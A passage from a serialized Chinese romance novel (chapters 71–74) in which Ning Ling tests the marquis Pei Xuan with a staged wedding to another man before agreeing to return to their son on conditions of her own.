他跪着一步步向她挪近,拿起她放在膝盖的手抚摸他的脸,感受那久违的温软苦苦哀求:“宁泠,我们忘掉过去从新开始,你给我一个机会好不好?如果你不满意再离开我,我绝不再纠缠你!” 人心永远不能满足,宁泽铭的病好了,她又要走了。 裴铉舍不得放她走,他希望他们朝夕相处永不分离,他不满意现在的关系,他担心有朝一日她会在外面遇见心仪之人,他害怕将来一天看着她与别人琴瑟和鸣,恩爱白头。 宁泠聪明善良,娇俏动人,无数的男人背后觊觎。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 70-75 第71章 第71章【VIP】 “裴铉,是你精心设计的吧?”宁泠面无表情地坐在红漆木椅子上,“正常情况他们早能到了,不至于有半月的路程。偏偏在泽铭病好后,我打算走时他们来了,而且听见我原谅他们后你就开始跪求我的原谅。若我不原谅他们,你今天会有这出吗?” 裴铉眼圈泛红,愧疚低头:“不会。” 她很聪明,裴铉知道宁泠会推测出来,但没想到她反应这么快。 “信誓旦旦说尊重我,现在又开始耍心思了?”宁泠不屑笑笑。 苦肉计,悲情戏,或许他做得多了,宁泠不似以前心软了。 裴铉抬头郑重说道:“发下的誓言不会变,永远尊重你,但我乞求你给我一个机会,你要走我绝不阻拦。若以后你愿意为我妻,哪日我惹你生气了,你依旧是自由的,可以随时离开。我只是希望我在你心里占据一点点位置,一年三百六十五天,你愿意真心与我度过些时日,而不是次次为泽铭而来。” “侯爷能说到做到最好。”宁泠淡定地点头,“我不愿做你妻。” 他一番情深肺腑之言,她无动于衷。 裴铉不肯轻易放弃:“三年前我扳倒忠国公裴书伦时,特意用此功劳向圣上请求加封你为一品诰命夫人,因着担心你责怪我擅作主张,所以一直等待你的意见。我知你不在乎这些虚名,但它有实打实的好处可以保护你,享受朝廷发放的俸禄。以前你说我性格阴晴不定,一会让你为妻,一会做妾,做妾易被正妻欺压,为妻恐人心易变担心我宠妾灭妻。誓言和承诺是世上最简单的事情,只需动动嘴皮子,但有了一品诰命夫人和宁泽的世子之位,你的地位永远不可撼动。” 她的所有顾虑与担忧,六年来他牢记心头,日夜想着解决办法,并不是嘴上哄哄人。 宁 泠长叹一声,顿感造化弄人。 若是她初入侯府时裴铉是这样,芳心暗许是意料之中。 可经历那么多痛苦和磨难后,她对情爱两字避之不及。 绝望的沉默蔓延在空气中,裴铉主动退步:“是我惹你生气了,今日你就当没听见这话。” 是他太贪婪了,一遍遍告诫自己克制,又一次次去试探不死心。 “爹娘,你们在里面吗?”宁泽铭甜甜的声音响起。 裴铉赶紧起身收拾好自己,将金簪藏好,清了清嗓门:“对呀。” “那我进来啦。”在花园里胡滚乱爬一圈后的宁泽铭说道。 姑姑们教导他很多次,不能无礼直接闯入房间。 宁泠回答:“进来。” 宁泽铭推开房门进来,见娘亲坐在椅子上淡笑,爹站在旁边候着。 但他敏锐地发觉两人之间的气氛不太对,探究地围着两人绕了一圈。 “咦,爹你手上拿着什么?”宁泽铭发现了线索。 裴铉最担心他看见手腕的伤痕,连忙遮挡:“没什么,你看错了。” 小孩子的好奇心重,探头要去仔细看。 “是娘的簪子。”宁泠适时地解围,“你看看你,又滚了一身泥。” 宁泠将他拉至身边,看他的小脸。 下人已经妥善擦拭过了,没有汗珠污迹。 的确比她一个人带孩子好得多,虽然有周婆子帮忙,可她毕竟人老年迈,手脚不灵活了,哪里跑得过小孩子。 有次宁泽铭玩了后她忙着制香,没及时给他擦汗,风一吹就染了风寒。 “娘的簪子怎么在爹手里啊?”宁泽铭睁着大大的眼睛追问。 裴铉哄他:“发簪歪了,我想帮你娘重新簪下。” “哦哦。”宁泽铭乖乖点头。 话已说出口,裴铉拿起发簪凑近宁泠,宁泠身形微僵但没躲避,她清甜的橘香味被他拥入怀里,裴铉的一只手轻轻抚上她的青丝,一只手簪发簪。 几息便可完成的动作,宁泠坐立难安,感觉时间过得缓慢。 她感觉脖子发酸,精神紧绷。 终于裴铉推开一步:“泽铭,你看没歪吧?” 宁泽铭小脸认真看看:“没歪。” 宁泠莫名的脸红了,想说话转移这个话题。 “娘亲,我的生辰快到了。”宁泽铭满眼恳求,“你给我过了生辰再走嘛。” 宁泠犹豫地看着孩子,生了一场病好像瘦了点。 “你现在回江南,待不了多久又要回来,太麻烦了。”宁泽铭奶声奶气,一个小孩子还开始分析利弊了,计算得失了。 宁泠逗乐了:“好,就依你。但丑话说在前头,你过完生辰第二天我回江南,届时你可不许再耍赖了。” 宁泽铭举起小手,态度严肃保证:“绝对听娘的话。” 宁泠被逗得笑容绽放,眼底盈满温柔。 一月后天气愈发冷了,迎面吹来的风像是钢刀刮在脸上,冻得人瑟瑟缩缩。 今日的宁泽铭穿着一身红色的衣裳,喜气洋洋,肤色衬得粉嫩透白。 他兴高采烈地指着两件衣衫:“今天是我的生辰,姑姑们特意给我穿了红衣裳,爹娘你们也都要穿上陪我,一家三口要整整齐齐。” 眼前的红衣虽然不算丑,但很是扎眼,刺绣精美复杂,衣衫做工不凡,甚似嫁衣。宁泠的视线移到旁边的男装,红艳艳的颜色上面的图案和她那件对应,似是婚服。 “不用了,再换多麻烦。”宁泠拒绝。她怀疑裴铉存心干的,准备这两件衣衫所费时间定然不短。 宁泽铭不开心了:“今天我生日,娘亲连一件衣服都不肯陪我穿,那我也不穿这件了。” 他不满地跺跺脚,气愤地叉腰,故意嘟着嘴,等着人来哄。 宁泠顿感头痛,小孩子没要一件礼物,一个玩具,就希望他换上红衣服陪他,其实不过分。 “好啦,答应你。”宁泠无奈答应了,明日她就回江南了,力所能及的愿望她都不会拒绝了。 宁泽铭的脸色顿时阴转晴,喜笑颜开:“娘最好了。” 见他脸色变化这么快,宁泠不经大脑脱口而出:“果真两父子,都阴晴不定一个德行。” 裴铉轻笑出声,宁泽铭不知所谓,好奇眨巴眼睛。 “去换衣衫吧,不然要迟了。”裴铉摸摸泽铭的脑袋。 两人各自分开在屏风后换了衣衫,出来后四目相对,齐齐一愣。 石榴红娇艳的颜色衬得宁泠肌肤如雪,小脸娇俏灵动,盈盈细腰不堪一握。 她脸色局促不安,瞧着有几分新娘娇羞的模样。 宁泠只看了裴铉一眼,就连忙低下头。 他欣长挺拔的身姿穿什么都好看,宽肩窄腰,深情的桃花眼在红色映衬下仿佛无尽深渊,要将人溺死。 好颜色的俊脸布满笑意,嘴角上扬,声线缱绻柔情:“宁泠穿这身真好看。” 宁泠觉得更加变扭了,想去换下衣衫。 “爹娘都好看。”宁泽铭小跑过来,喜滋滋地牵着两人的手,“我也好看。” 他温暖的小手一左一右地握着两人,迈着小步子:“我们出发吧。” 三人痛痛快快玩了一上午,午饭是早已订好的一品楼。 菜是掌柜亲自送来的,见裴铉身边竟然有位女子,面色不由露出震惊。 “陈伯伯,这是我娘。”热情的宁泽铭主动解释。 掌柜将东西放下:“原来是夫人啊,初见失礼了莫怪。” 宁泠笑笑:“无碍。” “拖了侯爷的福。”掌柜指着酥蜜饼,“现在它的名气比我一品楼还大,人人来了盛安城,都要来尝尝这道侯爷吃了六年都不腻的饼。大家都好奇地很,它为何独得侯爷厚爱” “喜旧物。”裴铉笑着回答,视线似有似无看了眼宁泠,小声说出后半句,“念旧人。” 宁泠面露不安,生怕旁边的宁泽铭听见了来追问。 幸好掌柜和宁泽铭都没听见后半句,各自忙碌自己的事情。 宁泽铭殷勤地夹起一块酥蜜饼,“娘亲,你以前在江南时不是记挂它嘛,快趁热吃!” 宁泠的耳尖迅速染红了,这孩子说得她多嘴馋似的,她不过是当时顺嘴提了一句罢了,他说出来全变了味道。 见裴铉笑脸盈盈看着她,宁泠错开视线。 今日天气是难得的晴天,晴朗的阳光透过窗柩倾泻在桌面。 为一大一小认真品尝美食的人打上一层柔和的光。 他们圆圆的眼眸专注看着酥蜜饼,脸颊鼓鼓囊囊,温暖的光线照得人心里暖洋洋,裴铉惬意地眯眼看着眼前人。 六年了,整整六年了,如此也算圆满了。 虽然宁泠明天又要离开了,可她还会来看孩子,他依旧能和她一起吃饭,能够看见她。 吃完后,三人又在商量着下午的行程,打算随意闲逛。 宁泠有意看看附近的香铺,考察下盛安城盛行的香料。 连逛了几家香铺,买了许多味道各异的香料,竟不知不觉走到了当年哪家首饰店。 第一次她在这儿买了海棠花绒花等,第二次为了蒙混过关记住路线,她在这里买了口脂。 “当年你挺喜欢这里的口脂。”裴铉挑眉,意味深长笑笑,“六年了再进去看看。” 他带着宁泽铭进去,宁泠跟上。 女店主还是原来的人,依旧容颜姣好打扮精致,岁月虽让她添了皱纹却更有成熟韵味。 看见宁泠进来后目光直盯口脂,她连忙问道:“需要我帮忙挑选几个试试吗?” 相似的问话,宁泠鬼使神差地点点头。 她在一旁试着口脂,父子俩都聚精会神看着给出意见。 店主平时见多了陪着来的男子,他们大多百无聊赖乱看打发时间,或者烦躁不耐地等待。但父子俩满心满眼映着这个女子。 宁泠挑选了几款适合自己的,也给白佳选了几款。 然后她主动掏出碎银结账,担心裴铉抢先付账。 店主手上包着口脂:“你夫君和孩子刚才一直看你呢。” 宁泠想反驳,可看着父子俩相似的脸,尴尬笑笑没回应。 裴铉似得到了极大赞赏,乐得满脸笑意,自觉地拎走东西。 下午逛了一会,宁泠和宁泽铭都有些累了,三人商量着回了侯府。 精疲力尽的宁泽铭爬上床榻没多久就睡着了,像个小猪一样睡得香沉。 宁泠也走累了,想要休息下。 裴铉看出了她的想法:“你去偏房睡吧,这小子现在劲越来越大了,你和他睡待会说不定踹疼你。” 宁泠想了想明天她就离开了,实在不该和孩 子太亲近。 前一刻还亲昵温馨,下一刻就没有了身影,落差太大了。 宁泠起身去了偏房推开门,里面的陈设布置一如从前。 仿佛六年的间隔从来不存在。 她粗略地扫了一眼屋子,走近床榻处欲要躺下。 看见床头柜上整整齐齐摆着六个木盒,盒子盖得严严实实。 以前她房内没这东西,她好奇地解开盒子。 入目得是密密麻麻的平安符,她抽出一个瞧。 淡黄的符纸上一面印着寺庙的名字,她知道这是盛安城香火最盛,听说最灵验的寺庙,一面是裴铉力透纸背的字迹,上面端正写着,祈求吾妻宁泠平安。 每一个平安符上都是如此,其他盒子的平安符有的因为时间而越发暗黄易碎。 宁泠不知要花多少时间才能求得这么多平安符,不知他六年里怀着怎样的心情风雨不阻前往寺庙。 她心绪复杂,慌忙地上塌将被子拉过头顶。 下午这个午觉睡得极其糟糕,整个人浑浑噩噩。 连晚上哄宁泽铭时都有点心不在焉。 “怎么了?”见她心神恍惚,裴铉问道。 宁泠回神:“没事,有点累了。” 裴铉以为她是今天走累了:“晚上我给你烧水泡脚,好好睡一觉。” 宁泠点点头。 第二天,宁泠在被窝里睡得香甜,感觉到什么温热软软的团子一直往她怀里拱。 她迷迷糊糊睁开眼,一看是宁泽铭。 “你怎么在这?”她嗓音还带着早起的沙哑,她看着外面大亮的天色。 估计是昨日走累了,下午又没休息好,今天睡过了。 “早上我找不到娘,央求爹带我来找你。”宁泽铭回答。 小孩子的精力恢复很快,现在又是精神满满。 宁泠下意识去寻裴铉,却发现他竟也睡在床塌上。 两人说话的声音都没有吵醒他,眉眼舒展,很安静地睡着。 不算大的一张床,自然挤不下三个人。 他高大的身躯挂在床沿外侧,一不小心就要摔下去。 宁泠醒了,宁泽铭更不老实了,毫不收敛地床上乱滚。宁泠皱了下眉,想要阻止。 裴铉被宁泽铭的动静吵醒,睁开眼发现两人都醒了。 他起来给宁泠倒了一杯温水:“灶房有热水,不要用冷水洗漱。” “嗯。”宁泠看了眼身上的寝衣,“你先出去。” 裴铉在她不好换衣服。 “好。”裴铉笑了笑难得没贫嘴,还把宁泽铭一起带了出去。 宁泠穿好衣裳起身洗漱,今日该返程了。 行李昨夜她都准备好了,既然宁泽铭来了这里,她也不用去侯府告别了,直接从这里离开。 出了门坐在马车上,宁泽铭的情绪明显低落。 但他信守诺言,没有开口挽留一句。 到了码头,船票早提前买好了。 宁泠登船站在夹板上看着两人的身影,明明是两道紧靠的身影,却都透着孤零零的感觉,眼巴巴湿漉漉望着她。 溃不成军,落荒而逃。这八个字落在宁泠脑海里。 一月后已是寒冬,冰凉的寒意笼罩在四周,府里的炭火烧着很旺。 林韦德开心地大步走来,手上拿着一封信:“侯爷,夫人给你寄信了。” 裴铉震惊地看着信封,待反应过来后才接过信封,面露狂喜。 一年多来,只有他寄信给她,大多说说宁泽铭的近况。 她一封信都不曾回过。 裴铉着急地拆开信封,一目十行读下来。 面上笑容寸寸裂开,信上宁泠说她要嫁人了。 第72章 第72章【VIP】 裴铉怀疑自己看花了眼,不相信地又看了一遍。 上面清清楚楚写着宁泠要嫁人了,新郎还是白洲言。 她说与白洲言相伴度过六年,兴趣相投,互生情意。 此前一直担心宁泽铭,现在孩子在侯府,她很放心。希望裴铉能够放手,让她去寻找自己的自由和幸福。 裴铉楞在原地,久久不能回神。 纸张跌落于地面,林韦德弯腰捡起,将上面的信息扫了个大概。 林韦德难以置信地睁大眼睛,没想到宁泠会做出这种选择。 “侯爷,属下前去处理?”他粗声问道。 只要侯爷愿意,这场婚事办不成易如反掌。 裴铉沉默,回想着与宁泠的点点滴滴。 他自嘲笑笑,他不过和宁泠相伴一年,还都是他以强权硬求的。 白洲言再窝囊也陪了宁泠六年,而且他脾气好不强迫宁泠,还是宁泠的救命恩人,又悬壶济世的大善人。 她看不上自己,喜欢白洲言这件事,细细想来好像是正常的不能再正常的事情。 在宁泠心里,他何德何能与白洲言比。 林韦德再次提醒:“侯爷?” 只需侯爷一声令下,他马上派人搅黄这场婚事。眼下最着急的是时间速度,待两人拜堂入洞房后可一切都迟了。 裴铉的心像是忽地被人用钝刀,一点点割开,疼得难以呼吸。 他缓了缓平复情绪:“我要去江南。” 一月前,宁泠在甲板上吹着风,听着大家闲聊。 穿着绯红色衣衫的大娘拉着家常:“林家这位新妇,听说长得可漂亮啦。” “是呀,拖了这么多年他早该娶了。”另一位稍瘦些身着墨蓝色衣裳的大娘搭话,“听说他在江南这些年做生意,发了好大一笔财呢。早该娶个主妇料理家务事,不然一个人忙完外面忙家里,有点闲暇还有教孩子,那怎么行?” “理是这个理。”旁边稍胖的大娘面色忧愁接话,“只是有了继母,不知道原配的孩子能过得好不?” 几人似是一起去江南参加婚宴,宁泠不动声色听着她们谈论。 “有了后妈就有了后爸。”绯红色大娘语气无奈,“有什么办法啊?没了亲妈的孩子自然矮别人一截。” “是呀,不过也说不定。当年林氏和原配举案齐眉,感情好得很,元妻病故后一直不肯再娶,林氏对她念念不忘,爱屋及乌对孩子也不会差。”稍胖的大娘说道。 瘦些的墨蓝色大娘面露不屑:“男人这种东西哪有什么忠贞深情,娶了漂亮的小媳妇,什么孩子元妻立马抛之脑后了。他要真担心孩子受欺负,就不会再娶妻了,你看嘛等正妻生了孩子后,有着亲妈帮衬,家里产业大多都要落到这个小孩身上,老大只有眼巴巴看着的份。” “什么家产不家产的。”有人偷偷小声说了句,“能平平安安长大就可以了。” 其余两人不吭声,大概也是赞同的。 为了争家产,宅斗之类屡见不鲜。 宁泠静静聆听她们的交谈,不由想到宁泽铭了。 作为一个母亲,她希望孩子过得好,希望孩子能继承裴铉的爵位。 她的身份已入了皇室族谱,他是板上钉钉的嫡长子。 嫡长子不是成为世子,绝对不可能有好日子。 虽然裴铉信守承诺请封他为世子,但太子之位尚且能立能废,何况是区区世子之位? 自古废太子没有善终的,废世子估计也是。 男人的爱镜中花水中月,可望不可即。 或许他现在爱她,这份爱又能持续多久?当他不爱了转身另娶,泽铭又该如何自处? 虽然她嘴上态度强硬,说他娶妻她会马上带走孩子。 可她有能力护住泽铭吗? 刚才几人的谈话紧紧萦绕在宁泠心头,一路上她都在胡思乱想。 其实在盛安城的一月多时间,她感受到了她小时候家的温暖。 泽铭像她小时候那般,有爹娘的爱,快快乐乐。 只是她一离开,原形毕露。 她也曾动摇过离开的念头,可若留下她害怕裴铉的禁锢和掌控。 宁泠径直回了佳蝶铺子,将盛安城的特产和口脂给白佳。 “怎么快回来了。”白佳亲热搂住她,“我还以为没个半年,你不回来呢?” “两人的店让你一个人干活那行?”宁泠有些不好意思。 店铺的盈利都是两人平分,可宁泠一个人走了这么久,她数次提出过减少分成,可白佳坚持平分。 白佳附在宁泠耳边小声说:“我哥要成亲了。” “哪家姑娘?”宁泠觉得有点突然。 白佳继续分享八卦:“是我们老家的姑娘,人家等了他好几年。以前暗示了好几次,可我哥不愿意,这个月不知怎么忽然同意了。” “挺好的,苦等几年终成正果。”宁泠满脸赞同,“而且白大哥年纪也不小了,我比他小一声,孩子都这么大 了,他还孤身一人。” 白佳听了这话,内心暗暗叹气,襄王有梦神女无心啊。 所幸他哥开了窍,现在知道撞了南墙回头。 那位侯爷无论是气度,身份,容貌样样都拔尖。而且两人有旧情,孩子都有了,他哥拿什么去争。 “不过还要麻烦你一件事情,我哥在附近租了一处宅子做婚房。”白佳继续说道:“我未来嫂嫂家离江南远,想到时候从这个院子出嫁,住我那间屋你看行吗?” “当然没问题。”宁泠爽快点点头,“那婚期什么定好没有?” 人来了住白佳的屋子,基本上对宁泠没有影响。而且白家兄妹帮了她这么多,她没什么好推辞的。 “估计一月后,两人年纪都不小了,双方意思都是趁早办了,不拖延了。”白佳回答。 一个月的时间内,宁泠想了许多。 她已经二十五了,对于她来说好像情爱已经不是那么重要了,重要的是责任和现实。 她不是十来岁年少不知的小姑娘了,之前将近一年来的旅行,她也算看见了世间百态。 情爱飘渺不定,前一刻还爱得死去活来,下一刻另娶新欢再正常不过了。 她不想去追求烟花般易逝的东西。 其实细细算来她以前很厌恶裴铉,憎恨他的强迫,但时过境迁后他曾经的罪大恶极,好似在多次舍身救她后淡化了。 人不能只活在过去,现在和以后是最重要的。 以现在的眼光来审视裴铉,无论是父亲还是丈夫这个角色,他都是极好的,无可挑剔。 但他能持续多久没人知道,宁泠一直不回应后他会不会再娶妻也无人知道。 她最不喜裴铉的地方,在于他的强势和控制。 若裴铉真能做到尊重他,克制住自己的强势和傲慢呢? 那她还执意离开孩子吗? 他们已经纠缠了六年多了,有了孩子还会永远纠缠下去。 宁泠有些累了,是该做个了断了。 日夜兼程裴铉到达了江南。 他马不停蹄去了佳蝶香铺,看见在为新婚装饰的宁泠。 冬季的寒风如最锋利的刀子,狠狠刮在脸上,他几乎睁不开眼。 心脏处被人挖了一个大窟窿,汩汩流出鲜血,痛不欲生。 几日的行程,裴铉苍老憔悴了许多。 他的双腿如同灌了铅,沉重地抬着脚一步步缓慢靠近宁泠。 帮忙布置张贴喜字的宁泠,感受他幽幽的视线回头。 两人四目相对,皆是沉默无声。 裴铉嘴唇嗫嚅几次,嗓音才发出声音:“你真的要嫁给他?” “对呀。”宁泠笑颜如花,“侯爷莫非要抢亲?” 依裴铉的强权和地位,只要他想轻而易举。 冰凉刺骨的寒风,寸寸吞噬裴铉的血肉。 他孤寂地站在冰天雪地里不知多久,仿佛周身血液都被冻僵了。 许久许久后,他嗓音嘶哑,一字一句认真说道:“不会,我会尊重你也发誓不再强迫你,这是你的自由。” 他本应该大方地说出祝福的话,可如鲠在喉,难以发音。 他深吸口气,冻得僵红的手对远处林韦德招招手。 林韦德抱着一个木匣子靠近,宁泠不懂什么意思,眼神探究。 “这是些田产铺子地契。”裴铉颓废地掀开盖子,示意宁泠收下。 宁泠坚决摇摇头:“不必了。” 裴铉脸上扯出一抹极其难看的笑容,艰难说道:“你是泽铭的娘,双亲已故,我也算是你半个娘家人,是给你的陪嫁。” “不必了,我不需要,你留着给孩子吧。”宁泠摇摇头。 裴铉将沉重的木匣子塞给她:“孩子还有。” 其实这是他以前准备的聘礼,他知道她没安全感不相信他。 没想到成了宁泠嫁给别人的陪嫁,可他能怨谁?只能怪自己。 宁泠不肯要,他将木匣子放在地上就离开了,身形不稳。 他担心再多看多想,他会克制不住自己,强迫带走宁泠。 他不想在她面前失控,不想她的印象里他永远都是一个自私自利的人。 裴铉迎着寒风,背离宁泠,嘴里一直默念尊重,只有这两个字才能促使他保持体面离开。 宁泠看着他的背影,心里五味杂陈,抱起木盒子回了屋。 酒肆内裴铉一杯接着一杯喝着闷酒,林韦德侯在旁边一言不发。 “侯爷,还是要保重身体,小世子还在侯府等你回去。”看着裴铉不要命的喝法,林韦德出声提醒。 这话如同警铃一般响彻裴铉脑海,对啊,他不能倒下。 他现在倒下了,泽铭还小没人护着,宁泠在外受了欺负也没人护着。 他至少要等着泽铭大了,能保护他自己和宁泠时,他裴铉才有资格醉生梦死。 人一辈子还长,他凭什么现在就认输了。 以后说不定白洲言在外沾惹花草,做了错事惹了宁泠厌弃,再不济那天倒霉死了。 他裴铉依旧有机会。 第73章 第73章【VIP】 到了白洲言娶妻那天,裴铉站在酒楼临窗的位置,看着大喜红色的花轿从香铺后院抬出来。 纵使他心里宽慰劝告自己无数次,可心里依旧止不住地一阵阵疼痛。 千刀万剐,剥皮扒肉。 他克制地全身颤抖,强忍去抢亲的冲动。 外面锣鼓喧天,欢声笑语,他感到无边的孤寂和寒意。 裴铉默默目送花轿离去,看着白洲言穿着喜服眉开眼笑,骑着马春风得意的模样。 他一个人怔怔站在原地,时间逐渐流逝。 他忍不住去想象他们此时在干什么,是在拜堂还是在亲吻。 直到夜幕降临,他对外呼唤道:“上酒!” 之前还难免心存侥幸,希望宁泠能忽然反悔。 如今已是洞房花烛夜,他该真正清醒现实了。 一壶壶的酒端了上来,裴铉连饮不停,林韦德站在身后没有劝他,心情郁闷难受总要发泄了才好。 幸好还有小世子在,侯爷大概只会放纵这一夜。 裴铉在酒楼烂醉如泥,抱着酒坛红着眼一遍遍呼唤着宁泠的名字。 三天过去,裴铉将自己打整干净后,去香铺找宁泠。 他在酒楼醉生梦死地买醉,他不想让宁泠知道,不想让她看见他狼狈潦草的模样。 三天了,他该去和宁泠辞行了,泽铭还在侯府等他,他外出这么久不放心泽铭一个小孩子在府里。 其实离去前他本想与白洲言再见一面,可想想如此宁泠必然更厌恶他便罢了。 白佳和宁泠待想香铺,白佳频频探首向外看去:“他真的会来?不会一气之下独自回了吧?” 宁泠之前和白家兄妹说出此事,希望他们不要走漏风声。 这件事情她是经过慎重思考的,她临近婚期才给裴铉寄信。 让他无暇去仔细探究实情,待匆匆忙忙赶来还没查清便如约举行。 只有如此才能让裴铉真真切切地感受到她真的要嫁人了。 让他信以为真,做出最真实的选择。 若是他依旧强权压人,他所谓的改变和尊重,不过又是哄骗她的把戏,他们之间再无任何信任情感可言。 但若裴铉能真正违背他的本心,尊重宁泠的选择一回,宁泠愿意再给他一次机会。 “会回来。”宁泠莫名地肯定,其实她自己也说不出原因。 冥冥中感觉他不会直接离开,会与她告别。 “宁泠,香铺你真的一点也不要了吗?”白佳扁着嘴说道。 宁泠前几天和她说,她要回盛安城了,江南的香铺无暇顾及,全给了她。 佳蝶香铺是两人几年来的心血,虽然铺面不是买的,但在江南的招牌是实打实的。 宁泠笑笑:“不要了,我不过是之前付了点租金罢了,虽然我们共同买了些材料,可眼下也没剩下多少了,难道我两还要算得那么清楚吗?加上我之前待在香铺的时间屈指可数,基本没什么功劳,每个月还白分五成盈 利,是我占了你们便宜才对,你别不好意思。” “才不是。”白佳眼圈有点红了,舍不得宁泠的离开,“还是多谢你教我这门手艺,谢你救了我哥。” 佳蝶香铺在江南这么快站稳脚跟,后续生意一步步变好,少不了裴铉的原因。 江南城内谁敢为难她们?简直是一道百试百灵的护身符。 “还是你们先救了我。”宁泠回想当年。 白佳跟着回忆后答道:“当年以为你饱经磨难,如今看侯爷对你很好,或许以前他真的不对,但人总有优缺点,不能只看缺点忽略优点。” 她愿多鼓励顾虑宁泠,让她向前看,白佳有了身孕,知道母子分离有多残忍。 宁泠还没回答,听得外面的马蹄声,她抬眸望去裴铉骑马而来,接着利落下马。 他与宁泠视线相对,白佳自觉回避离开。 看见白洲言妹妹此番动作,裴铉怪异看他一眼。 自己嫂嫂和她前夫见面,她倒还知情识趣离开? 裴铉没说话,宁泠也不着急开口。 沉默凝结在室内,逐渐变得尴尬。 “我不放心泽铭一个人在侯府太久,我要回去了。”裴铉尽量收敛自己的暴戾不甘,担心吓着她。 宁泠点点头:“我也不放心。” 看见她面色红润,依旧云鬓花容,裴铉心里酸涩地厉害。 想问问她开心满意吗?又不想自找苦吃,亲手凌迟自己。 最后,裴铉千言万语的担心与难过转化为:“若他对你不好,你速速来信或者回盛安,我一直等你。” 宁泠笑得眉眼弯弯,笑颜如花,声音清甜:“好呀。” “我走了,你多保真。”裴铉面色难看,将心里顾虑说出:“妇人有孕最是危险,你若有了身孕,我会为你找好稳婆的。” 想到她和白洲言以后会有孩子,会有一个她曾经心心念念期盼的心爱之人的孩子。 嫉妒疯狂蔓延,如同沾满毒刺的荆棘缠绕绞杀心脏,窒息绝望。 她会不会不爱宁泽铭了,他与她最后一丝联系也断了? 但他当年信誓旦旦保证了会给她找最好的稳婆,护佑她此生平安欢愉。 只要宁泠还在,还活着,他就还有机会。 宁泠忽地噗嗤笑出声,对上裴铉阴沉狠厉的眸子,她竟一点也不怕。 裴铉紧紧用力握掌为拳,猜测她多半是不屑,讥讽。 “你既然不喜我,我就先走了,不惹你心烦了。”裴铉闷闷出声,身形清瘦,神情憔悴。 宁泠赞同地点点头:“是该走了。” 裴铉握拳的手捏得嘎嘎作响,一张俊脸崩得严肃森然。 他步伐沉重地缓缓离开,强忍回头的冲动。 倏地听见她带笑的声音。 “你既然回盛安城,那就顺路搭我一程。”宁泠拿出早准备好的包袱,双手拖着下巴,眼眸饶有兴趣地看着他。 裴铉呆呆回头,难以置信问道:“你这么何意?” “我要回盛安城,你不愿顺路载我?”宁泠挑眉惊讶问他。 裴铉的脑袋顿时变成了一团浆糊,稀里糊涂的。 他听见了宁泠的话,但听不懂她什么意思? 她不是才嫁给白洲言吗?才新婚三天又要分离?实在是太古怪了。 “你去看泽铭吗?”裴铉缓缓问出,“你和白洲言商量好了吗?” 白洲言脾气好,同意好像也不足为奇。 “我是孩子的娘,作甚要他同意。”宁泠笑笑回答。 裴铉更加诡异了,“可你们毕竟刚新婚不久,你不怕他介意吗?” 他本可以不问求之不得地带走宁泠,但他隐隐约约察觉到了不对劲。 “我什么时候和他成婚了?”宁泠故意吊人胃口,似笑非笑。 裴铉以前最喜欢捉弄人,她十分不喜。 如今轮到她戏弄他了,体验其中滋味,似乎也不错,看着他一会悲痛欲绝,一会难以置信,一会暗藏欣喜,笨头笨脑的大呆鹅,挺好玩的。 裴铉目瞪口呆楞在原地,接着紧张追问:“那三天前,白洲言娶的新娘是谁?你不是给我来信说你要与他成婚吗?” 宁泠苦恼地想了想:“哦,可能是我写错了吧。” 她这话说得不清不楚,只回答了一半。 裴铉心急如焚,面色焦急,又不敢大吼大叫,小心翼翼追问:“你没嫁给他?” “对呀。”宁泠笑脸吟吟看着裴铉,惬意欣赏他丰富生动的面部表情。 她的肯定使得裴铉先是神情一滞,接着激动大喜。 他疾步上前,猛地将宁泠拥入怀里:“你故意使计诈我是不是?” 裴铉不傻,短短时间内想到了来龙去脉,难怪白佳主动回避。 宁泠哄骗他惯了,想出此事验他真心也不稀奇。 忽如其来的拥抱,宁泠很不习惯,用力想要推开他。 他巍然不动,紧紧绕住她,声音委屈:“你打我骂我也好,怎么能用婚姻大事激我,果然是个小骗子。” 细细数来,他真是蠢得像是一头猪,被她骗过无数次,便便又次次继续甘之若饴,信以为真。 被他一说,宁泠先是有点心虚,不试试怎么知道真假。 后来她很快理直气壮:“我回盛安城可以,你需答应我其他的条件才成,” 裴铉深情看着她狡黠灵动的眼眸:“好,你提什么条件都成。” “首先,你不可限制我的自由”宁泠认真细细道来。 佳人在怀,失而复得。 裴铉的血液翻腾,饿狼似得盯着她张张合合的小嘴,樱红柔软,粉嫩的小舌若隐若现。 他遵从内心的呼唤,莽撞地吻了上去。 他吻得虔诚温柔,却细致地描绘着每一处唇肉。 宁泠吓得圆圆眼眸睁大,嘴唇紧闭,用力推开他。 感受她的抗拒,裴铉的理智逐渐回笼,他薄薄的嘴唇上染了几分水色,笑得轻佻:“看戏似得逗我玩,我回点本嘛。” 一张俊脸生动,带着令人无法抵抗的诱惑力。 宁泠生气地瞪着他,刚才那点逗人好玩的心思荡然无存。 裴铉赶紧转移话题:“你刚才不是提要求嘛,快继续。” 正事要紧,宁泠继续:“首先你不能限制我自由,我想离开就离开,其次我愿做一品诰命夫人,但不为你裴铉的妻子。当初你穿我耳眼之仇,我今日要报仇雪恨。” 她为一品诰命夫人,儿子为侯府世子。 除非裴铉谋反称帝,不然她和泽铭的地位稳如泰山。 她想要自由,可世界上或许没有自由。 像当初白大哥的事情一般,她除了找裴铉无路可走。 哪怕她后来外出散心一年多,她相信其中少不了他的打点。 她最恨权势,最后却成了趋炎附势的人。 她的自由,是活在他庇护下的自由,不是真正的自由。 与其这样不如多陪陪孩子,多去为孩子着想。 第74章 第 74章【VIP】 裴铉脸上带着明晃晃的笑意:“宁泠想怎么报仇?” 她愿意将往事都发泄出来是好事,一直憋在心理怨恨他,他哪里有机会亲近她? “给你也穿一对耳眼。”宁泠恨恨说道。 让他尝尝羞辱的味道,男子有了耳眼不知要遭受多少旁人异样的眼光。 裴铉主动将脸凑了上去,贪婪地闻嗅她的清香:“好。” 宁泠看着他迫不及待兴奋的样子,总觉得这不像报仇惩罚而是奖赏。 见她面色犹豫,迟迟不动手,裴铉在她耳垂吐出热气:“宁泠心疼我了?” “不可能。”宁泠咬重腔调回答。 她拿起旁边准备好的银针,用火折子点燃烛火,将针放在烛火上炙烤。 又忽地猛然想起一件事,她虽想要以牙还牙,可没给裴铉准备耳珰啊。 “我没准备耳珰。”宁泠犯了难。 裴铉不甚在意,主动邀请:“咱们去附近首饰店买就是了。” 话音刚落,他就自然地牵住她垂在身侧的手。 宁泠皱眉,手掌用力想要挣脱。 感受她的不悦,裴铉一脸可惜地松了手。 宁泠抬脚出门,裴铉紧跟而上。 